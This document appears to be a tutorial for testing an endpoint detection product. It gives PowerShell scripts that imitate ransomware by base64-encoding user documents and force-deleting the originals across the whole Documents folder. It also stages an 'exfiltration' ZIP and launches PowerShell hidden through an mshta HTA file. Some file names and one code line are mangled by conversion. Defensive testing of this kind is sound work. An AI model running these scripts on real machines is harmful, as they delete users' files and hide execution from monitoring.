Cybereason Ransomware Simulation Tutorial

Contents

1 Introduction

This tutorial simulates malicious behaviors using native Windows tools to test Cybereason's detection and isolation capabilities. It includes ransomware simulation, data exfiltration, and stealthy execution without administrator privileges.

2 Scenario Preparation – Test File Generation

generate$_{t}est_{f}iles.ps1–CreateTXT$

```
cd "$env:USERPROFILE\Documents"

# Generate 5 .txt files
1..5 | ForEach-Object { "This is sample text file $_" | Out-File
↪  "test_$_.txt" }

# Generate 5 .docx files (empty)
1..5 | ForEach-Object { New-Item -Path . -Name "test_$_.docx" -ItemType
↪  File }

# Generate 5 .xlsx files (empty)
1..5 | ForEach-Object { New-Item -Path . -Name "test_$_.xlsx" -ItemType
↪  File }

# Generate 5 .pdf files (fake PDFs with text content)
1..5 | ForEach-Object { "PDF file simulation $_" | Out-File "test_$_.pdf"
↪  }
```

Explanation – What this does

Creates 20 files in the user's Documents folder across 4 formats:

- 5 .txt with text content
- 5 empty .docx
- 5 empty .xlsx
- 5 .pdf files with dummy text

These simulate common file types typically targeted by ransomware.

3 Scenario 1 – File Encryption Simulation

simulate$_{r}ansom.ps1–Simulatebase64encryption$

```
$targetFolder = "$env:USERPROFILE\Documents"
Get-ChildItem -Path $targetFolder -Recurse -Include
↪  *.txt,*.docx,*.pdf,*.xlsx -ErrorAction SilentlyContinue |
↪  ForEach-Object {
    try {
        $content = Get-Content $_.FullName -Raw
        $encoded =
        ↪  [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($conte
        $newFile = "$($_.FullName).enc"
        [IO.File]::WriteAllText($newFile, $encoded)
        Remove-Item $_.FullName -Force
    } catch {}
}
```

Explanation – What this does

This script simulates file encryption. It:

- Reads contents of '.txt', '.docx', '.pdf', and '.xlsx'
- Encodes content to base64
- Creates '.enc' files with encoded content
- Deletes original files

Triggers detection like T1486 (Data Encrypted) and T1059 (PowerShell).

4 Scenario 2 – Data Exfiltration Simulation

simulate$_{e}xfiltration.ps1–Archiveencryptedfiles$

```
$folder = "$env:USERPROFILE\Documents"
$files = Get-ChildItem -Path $folder -Include *.enc -Recurse -ErrorAction
↪  SilentlyContinue
$archivePath = "$env:TEMP\exfiltration.zip"
if ($files) {
    Compress-Archive -Path $files.FullName -DestinationPath $archivePath
    ↪  -Force
}
```

Explanation – What this does

This script simulates data exfiltration by:

- Searching for '.enc' files
- Archiving them into 'exfiltration.zip' in the TEMP directory

Triggers detection such as T1560 (Archive Data).

5 Scenario 3 – Stealth Execution with mshta.exe

simulate$_r ansom.hta–ExecutePowerShellviamshta$

```
<html>
  <head>
    <script>
      var shell = new ActiveXObject("WScript.Shell");
      shell.Run("powershell.exe -w hidden -nop -c iex (Get-Content
       ↪  simulate_ransom.ps1 -Raw)");
    </script>
  </head>
</html>
```

Explanation – What this does

This HTA file launches PowerShell invisibly using mshta.exe:
- Bypasses UAC and runs in user space
- Triggers fileless behavior simulation

Detectable as T1218.005 (mshta abuse), and T1059 (PowerShell).

6 Detection Summary

Technique	**Tool**	**MITRE ID**	**Details**
File Encryption	PowerShell	T1486	Encode + delete user documents
Data Exfiltration	PowerShell	T1560	Compress to ZIP
Stealth Execution	mshta.exe	T1218.005	Launch PowerShell invisibly

Appendix – Test Tracker

Test Name	**Date**	**User**	**Detection Seen?**	**Isolated?**
Ransomware Simulation				
Exfiltration Simulation				
Obfuscation Simulation				